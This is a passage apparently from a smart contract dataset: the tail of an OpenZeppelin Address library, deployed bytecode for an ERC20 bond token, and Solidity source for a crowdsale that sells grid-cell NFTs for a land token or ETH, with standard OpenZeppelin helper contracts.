address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de578063a457c2d711610097578063dc647e2911610071578063dc647e291461059e578063dd62ed3e146105bb578063dfa6b7fa146105e9578063f2fde38b1461060f57610173565b8063a457c2d71461053e578063a9059cbb1461056a578063b4430bfd1461059657610173565b806370a08231146104b0578063715018a6146104d657806371ca337d146104de5780638da5cb5b146104e657806395d89b411461050a5780639dc29fac1461051257610173565b806325500edd1161013057806325500edd146102ca5780632c323bbd146102f0578063313ce5671461030d578063395093511461032b57806340c10f19146103575780634cd88b761461038357610173565b806306394c9b1461017857806306fdde03146101a0578063095ea7b31461021d57806318160ddd1461025d57806323b872dd14610277578063241b71bb146102ad575b600080fd5b61019e6004803603602081101561018e57600080fd5b50356001600160a01b0316610635565b005b6101a86106b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e25781810151838201526020016101ca565b50505050905090810190601f16801561020f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102496004803603604081101561023357600080fd5b506001600160a01b038135169060200135610747565b604080519115158252519081900360200190f35b610265610765565b60408051918252519081900360200190f35b6102496004803603606081101561028d57600080fd5b506001600160a01b0381358116916020810135909116906040013561076b565b610249600480360360208110156102c357600080fd5b50356107f8565b61019e600480360360208110156102e057600080fd5b50356001600160a01b031661080e565b61019e6004803603602081101561030657600080fd5b503561088e565b610315610907565b6040805160ff9092168252519081900360200190f35b6102496004803603604081101561034157600080fd5b506001600160a01b038135169060200135610910565b6102656004803603604081101561036d57600080fd5b506001600160a01b038135169060200135610964565b61019e6004803603604081101561039957600080fd5b8101906020810181356401000000008111156103b457600080fd5b8201836020820111156103c657600080fd5b803590602001918460018302840111640100000000831117156103e857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561043b57600080fd5b82018360208201111561044d57600080fd5b8035906020019184600183028401116401000000008311171561046f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109fc945050505050565b610265600480360360208110156104c657600080fd5b50356001600160a01b0316610ac4565b61019e610adf565b610265610b81565b6104ee610b88565b604080516001600160a01b039092168252519081900360200190f35b6101a8610b97565b61019e6004803603604081101561052857600080fd5b506001600160a01b038135169060200135610bf8565b6102496004803603604081101561055457600080fd5b506001600160a01b038135169060200135610c91565b6102496004803603604081101561058057600080fd5b506001600160a01b038135169060200135610cff565b61019e610da2565b61019e600480360360208110156105b457600080fd5b5035610e90565b610265600480360360408110156105d157600080fd5b506001600160a01b0381358116916020013516610fe8565b61019e600480360360208110156105ff57600080fd5b50356001600160a01b0316611013565b61019e6004803603602081101561062557600080fd5b50356001600160a01b03166110b1565b61063d6111aa565b6065546001600160a01b0390811691161461068d576040805162461bcd60e51b81526020600482018190526024820152600080516020611d3b833981519152604482015290519081900360640190fd5b61013380546001600160a01b0319166001600160a01b0392909216919091179055565b60fd8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561073c5780601f106107115761010080835404028352916020019161073c565b820191906000526020600020905b81548152906001019060200180831161071f57829003601f168201915b505050505090505b90565b600061075b6107546111aa565b84846111ae565b5060015b92915050565b60995490565b600061077884848461129a565b6107ee846107846111aa565b6107e985604051806060016040528060288152602001611d13602891396001600160a01b038a166000908152609860205260408120906107c26111aa565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61140316565b6111ae565b5060019392505050565b6000908152610134602052604090205460ff1690565b6108166111aa565b6065546001600160a01b03908116911614610866576040805162461bcd60e51b81526020600482018190526024820152600080516020611d3b833981519152604482015290519081900360640190fd5b60ff80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6108966111aa565b6065546001600160a01b039081169116146108e6576040805162461bcd60e51b81526020600482018190526024820152600080516020611d3b833981519152604482015290519081900360640190fd5b600090815261013460205260409020805460ff19811660ff90911615179055565b609c5460ff1690565b600061075b61091d6111aa565b846107e9856098600061092e6111aa565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61149a16565b610135546000906001600160a01b03163314806109995750610984610b88565b6001600160a01b0316336001600160a01b0316145b806109b3575060ff5461010090046001600160a01b031633145b6109f2576040805162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b604482015290519081900360640190fd5b61075f83836114fb565b600054610100900460ff1680610a155750610a156115f9565b80610a23575060005460ff16155b610a5e5760405162461bcd60e51b815260040180806020018281038252602e815260200180611d5b602e913960400191505060405180910390fd5b600054610100900460ff16158015610a89576000805460ff1961ff0019909116610100171660011790555b610a916115ff565b610a9b83836116b0565b600060fc55670de0b6b3a7640000610100558015610abf576000805461ff00191690555b505050565b6001600160a01b031660009081526097602052604090205490565b610ae76111aa565b6065546001600160a01b03908116911614610b37576040805162461bcd60e51b81526020600482018190526024820152600080516020611d3b833981519152604482015290519081900360640190fd5b6065546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3606580546001600160a01b0319169055565b6101005490565b6065546001600160a01b031690565b60fe8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561073c5780601f106107115761010080835404028352916020019161073c565b610135546001600160a01b0316331480610c2a5750610c15610b88565b6001600160a01b0316336001600160a01b0316145b80610c44575060ff5461010090046001600160a01b031633145b610c83576040805162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b604482015290519081900360640190fd5b610c8d8282611765565b5050565b600061075b610c9e6111aa565b846107e985604051806060016040528060258152602001611df36025913960986000610cc86111aa565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61140316565b673a3930b739b332b960c11b60008181526101346020527fc4a955c614ae4ce013944f553f6d50f1a4f797e9c9608762f36ccd9ef66e5f7e5490919060ff1615610d90576040805162461bcd60e51b815260206004820152601c60248201527f5468697320616374696f6e2063757272656e746c792070617573656400000000604482015290519081900360640190fd5b6107ee610d9b6111aa565b858561129a565b610daa610b88565b6001600160a01b0316336001600160a01b03161480610dd45750610133546001600160a01b031633145b610e1d576040805162461bcd60e51b815260206004820152601560248201527413dc195c985d1bdc8e881b9bdd08185b1b1bddd959605a1b604482015290519081900360640190fd5b60408051808201909152601d8082527f416e6b722045746832205265776172642042656172696e6720426f6e640000006020909201918252610e619160fd91611bc7565b50604080518082019091526004808252630c28aa8960e31b6020909201918252610e8d9160fe91611bc7565b50565b610e98610b88565b6001600160a01b0316336001600160a01b03161480610ec25750610133546001600160a01b031633145b610f0b576040805162461bcd60e51b815260206004820152601560248201527413dc195c985d1bdc8e881b9bdd08185b1b1bddd959605a1b604482015290519081900360640190fd5b61010054600090610f24906103e863ffffffff61186d16565b61010054909150610f3b908263ffffffff61149a16565b821080610f5a575061010054610f57908263ffffffff6118af16565b82115b610fab576040805162461bcd60e51b815260206004820152601d60248201527f4e657720726174696f2073686f756c6420626520696e206c696d697473000000604482015290519081900360640190fd5b6101008290556040805183815290517fb779c97cee7508e970bdead8c3ef0bd16f8c63dbba28fe88f7c7a56722fc564d9181900360200190a15050565b6001600160a01b03918216600090815260986020908152604080832093909416825291909152205490565b61101b610b88565b6001600160a01b0316336001600160a01b031614806110455750610133546001600160a01b031633145b61108e576040805162461bcd60e51b815260206004820152601560248201527413dc195c985d1bdc8e881b9bdd08185b1b1bddd959605a1b604482015290519081900360640190fd5b61013580546001600160a01b0319166001600160a01b0392909216919091179055565b6110b96111aa565b6065546001600160a01b03908116911614611109576040805162461bcd60e51b81526020600482018190526024820152600080516020611d3b833981519152604482015290519081900360640190fd5b6001600160a01b03811661114e5760405162461bcd60e51b8152600401808060200182810382526026815260200180611ca56026913960400191505060405180910390fd5b6065546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3606580546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166111f35760405162461bcd60e51b8152600401808060200182810382526024815260200180611dcf6024913960400191505060405180910390fd5b6001600160a01b0382166112385760405162461bcd60e51b8152600401808060200182810382526022815260200180611ccb6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260986020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112df5760405162461bcd60e51b8152600401808060200182810382526025815260200180611daa6025913960400191505060405180910390fd5b6001600160a01b0382166113245760405162461bcd60e51b8152600401808060200182810382526023815260200180611c606023913960400191505060405180910390fd5b61132f838383610abf565b61137281604051806060016040528060268152602001611ced602691396001600160a01b038616600090815260976020526040902054919063ffffffff61140316565b6001600160a01b0380851660009081526097602052604080822093909355908416815220546113a7908263ffffffff61149a16565b6001600160a01b0380841660008181526097602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156114925760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561145757818101518382015260200161143f565b50505050905090810190601f1680156114845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156114f4576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216611556576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61156260008383610abf565b609954611575908263ffffffff61149a16565b6099556001600160a01b0382166000908152609760205260409020546115a1908263ffffffff61149a16565b6001600160a01b03831660008181526097602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b303b1590565b600054610100900460ff168061161857506116186115f9565b80611626575060005460ff16155b6116615760405162461bcd60e51b815260040180806020018281038252602e815260200180611d5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561168c576000805460ff1961ff0019909116610100171660011790555b6116946118f1565b61169c611991565b8015610e8d576000805461ff001916905550565b600054610100900460ff16806116c957506116c96115f9565b806116d7575060005460ff16155b6117125760405162461bcd60e51b815260040180806020018281038252602e815260200180611d5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561173d576000805460ff1961ff0019909116610100171660011790555b6117456118f1565b61174f8383611a8a565b8015610abf576000805461ff0019169055505050565b6001600160a01b0382166117aa5760405162461bcd60e51b8152600401808060200182810382526021815260200180611d896021913960400191505060405180910390fd5b6117b682600083610abf565b6117f981604051806060016040528060228152602001611c83602291396001600160a01b038516600090815260976020526040902054919063ffffffff61140316565b6001600160a01b038316600090815260976020526040902055609954611825908263ffffffff6118af16565b6099556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60006114f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b62565b60006114f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611403565b600054610100900460ff168061190a575061190a6115f9565b80611918575060005460ff16155b6119535760405162461bcd60e51b815260040180806020018281038252602e815260200180611d5b602e913960400191505060405180910390fd5b600054610100900460ff1615801561169c576000805460ff1961ff0019909116610100171660011790558015610e8d576000805461ff001916905550565b600054610100900460ff16806119aa57506119aa6115f9565b806119b8575060005460ff16155b6119f35760405162461bcd60e51b815260040180806020018281038252602e815260200180611d5b602e913960400191505060405180910390fd5b600054610100900460ff16158015611a1e576000805460ff1961ff0019909116610100171660011790555b6000611a286111aa565b606580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610e8d576000805461ff001916905550565b600054610100900460ff1680611aa35750611aa36115f9565b80611ab1575060005460ff16155b611aec5760405162461bcd60e51b815260040180806020018281038252602e815260200180611d5b602e913960400191505060405180910390fd5b600054610100900460ff16158015611b17576000805460ff1961ff0019909116610100171660011790555b8251611b2a90609a906020860190611bc7565b508151611b3e90609b906020850190611bc7565b50609c805460ff191660121790558015610abf576000805461ff0019169055505050565b60008183611bb15760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561145757818101518382015260200161143f565b506000838581611bbd57fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c0857805160ff1916838001178555611c35565b82800160010185558215611c35579182015b82811115611c35578251825591602001919060010190611c1a565b50611c41929150611c45565b5090565b61074491905b80821115611c415760008155600101611c4b56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656445524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122022e2e30d6835fa7269ef2d5ba10ec0c6fe8270ed4b18197b7c752e73f2b758e564736f6c634300060b0033
[ 20 ]
0xF1d71c74af7A2542669901cD5BeeBc7Fb8d293D8
pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IERC721 { function mint(address to, uint256 tokenId) external; function exists(uint256 tokenId) external view returns (bool); } interface ICLDSale { function rate() external view returns (uint256); } /** * @title Crowdsale * @dev Crowdsale contract allowing investors to purchase the cell token with our ERC20 land tokens. * This contract implements such functionality in its most fundamental form and can be extended * to provide additional functionality and/or custom behavior. */ contract Crowdsale is Context, Ownable { using SafeMath for uint256; // The token being sold IERC721 private _cellToken; // The main token that you can buy cell with it IERC20 private _land; address private _tokenWallet; // The main sale contract that you can buy cld ICLDSale private _cldSale; // Address where your paid land tokens are collected address payable private _wallet; // Amount of land token raised uint256 private _tokenRaised; // Amount of token to be pay for one ERC721 token uint256 private _landPerToken; // Max token count to be sale uint256 private _maxTokenCount; mapping(uint256 => bool) private _alreadySold; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param tokenId uint256 ID of the token to be purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 tokenId); /** * @param wallet_ Address where collected tokens will be forwarded to * @param landToken_ Address of the Land token that you can buy with it * @param cellToken_ Address of the Cell token being sold * @param landPerToken_ tokens amount paid for purchase a Cell token */ constructor (address payable wallet_, IERC20 landToken_, address tokenWallet_, IERC721 cellToken_, uint256 landPerToken_, uint256 maxTokenCoun_, ICLDSale cldSale_) public { require(wallet_ != address(0), "Crowdsale: wallet is the zero address"); require(address(landToken_) != address(0), "Crowdsale: land token is the zero address"); require(address(cellToken_) != address(0), "Crowdsale: cell token is the zero address"); require(landPerToken_ > 0, "Crowdsale: token price must be greater than zero"); require(maxTokenCoun_ > 0, "Crowdsale: max token count must be greater than zero"); require(address(cldSale_) != address(0), "Crowdsale: CLDSale is the zero address"); _wallet = wallet_; _land = landToken_; _tokenWallet = tokenWallet_; _cellToken = cellToken_; _landPerToken = landPerToken_; _maxTokenCount = maxTokenCoun_; _cldSale = cldSale_; } /** * @dev Fallback function revert your fund. * Only buy Cell token with Land token. */ fallback() external payable { revert("Crowdsale: cannot accept any amount directly"); } /** * @return The base token that you can buy with it */ function land() public view returns (IERC20) { return _land; } /** * @return The token being sold. */ function cellToken() public view returns (IERC721) { return _cellToken; } /** * @return Amount of Land token to be pay for a Cell token */ function landPerToken() public view returns (uint256) { return _landPerToken; } /** * @return The address where tokens amounts are collected. */ function wallet() public view returns (address) { return _wallet; } /** * @return The amount of Land token raised. */ function tokenRaised() public view returns (uint256) { return _tokenRaised; } /** * @return The amount of Cell token can be sold. */ function getMaxTokenCount() public view returns (uint256) { return _maxTokenCount; } /** * @dev Returns x and y where represent the position of the cell. * @param tokenId uint256 ID of the token */ function cellById(uint256 tokenId) public pure returns (uint256 x, uint256 y){ y = tokenId / 90; x = tokenId - (y * 90); } /** * @return The address where tokens amounts are collected. * @param tokenId uint256 ID of the token */ function alreadySold(uint256 tokenId) public view returns (bool) { return _alreadySold[tokenId]; } /** * @return The address where tokens amounts are collected. * @param tokenIds uint256 ID of the token */ function setTokenSold(uint256[] memory tokenIds) public onlyOwner returns (bool) { for (uint256 i = 0; i < tokenIds.length; ++i) { _alreadySold[tokenIds[i]] = true; } return true; } /** * @return The base token that you can buy with it */ function cldSale() public view returns (ICLDSale) { return _cldSale; } /** * @return The base token that you can buy with it */ function setCLDSale(ICLDSale cldsale_) public onlyOwner returns (bool) { _cldSale = cldsale_; return true; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _cldSale.rate(); } /** * @dev token purchase with pay Land tokens * @param beneficiary Recipient of the token purchase * @param tokenId uint256 ID of the token to be purchase */ function buyToken(address beneficiary, uint256 tokenId) public payable{ require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(_landPerToken <= _land.allowance(_msgSender(), address(this)), "Crowdsale: Not enough CLD allowance"); require(tokenId < getMaxTokenCount(), "Crowdsale: tokenId must be less than max token count"); (uint256 x, uint256 y) = cellById(tokenId); require(x < 38 || x > 53 || y < 28 || y > 43, "Crowdsale: tokenId should not be in the unsold range"); require(!alreadySold(tokenId), "Crowdsale: token already sold"); require(!_cellToken.exists(tokenId), "Crowdsale: token already minted"); uint256 balance = _land.balanceOf(_msgSender()); if (_landPerToken <= balance){ _land.transferFrom(_msgSender(), _wallet, _landPerToken); } else{ require(msg.value > 0, "Crowdsale: Not enough CLD or ETH"); uint256 newAmount = _getTokenAmount(msg.value); require(newAmount.add(balance) >= _landPerToken, "Crowdsale: Not enough CLD or ETH"); _land.transferFrom(_tokenWallet, _msgSender(), newAmount); _land.transferFrom(_msgSender(), _wallet, _landPerToken); _wallet.transfer(msg.value); } _tokenRaised += _landPerToken; _cellToken.mint(beneficiary, tokenId); emit TokensPurchased(msg.sender, beneficiary, tokenId); } /** * @dev batch token purchase with pay our ERC20 tokens * @param beneficiary Recipient of the token purchase * @param tokenIds uint256 IDs of the token to be purchase */ function buyBatchTokens(address beneficiary, uint256[] memory tokenIds) public payable{ require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); uint256 tokenAmount = _landPerToken * tokenIds.length; require(tokenAmount <= _land.allowance(_msgSender(), address(this)), "Crowdsale: Not enough CLD allowance"); for (uint256 i = 0; i < tokenIds.length; ++i) { require(tokenIds[i] < getMaxTokenCount(), "Crowdsale: tokenId must be less than max token count"); (uint256 x, uint256 y) = cellById(tokenIds[i]); require(x < 38 || x > 53 || y < 28 || y > 43, "Crowdsale: tokenId should not be in the unsold range"); require(!alreadySold(tokenIds[i]), "Crowdsale: token already sold"); require(!_cellToken.exists(tokenIds[i]), "Crowdsale: token already minted"); } uint256 balance = _land.balanceOf(_msgSender()); if (tokenAmount <= balance){ _land.transferFrom(_msgSender(), _wallet, tokenAmount); } else{ require(msg.value > 0, "Crowdsale: Not enough CLD or ETH"); uint256 newAmount = _getTokenAmount(msg.value); require(newAmount.add(balance) >= tokenAmount, "Crowdsale: Not enough CLD or ETH"); _land.transferFrom(_tokenWallet, _msgSender(), newAmount); _land.transferFrom(_msgSender(), _wallet, tokenAmount); _wallet.transfer(msg.value); } _tokenRaised += tokenAmount; for (uint256 i = 0; i < tokenIds.length; ++i) { _cellToken.mint(beneficiary, tokenIds[i]); emit TokensPurchased(msg.sender, beneficiary, tokenIds[i]); } } /** * @dev Overrides function in the Crowdsale contract to enable a custom phased distribution * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { uint256 amount = weiAmount.mul(rate()); if (amount >= 500000 * 1e18) { return amount.mul(120).div(100); } else if (amount >= 200000 * 1e18) { return amount.mul(114).div(100); } else if (amount >= 70000 * 1e18) { return amount.mul(109).div(100); } else if (amount >= 30000 * 1e18) { return amount.mul(106).div(100); } else if (amount >= 10000 * 1e18) { return amount.mul(104).div(100); } else { return amount; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
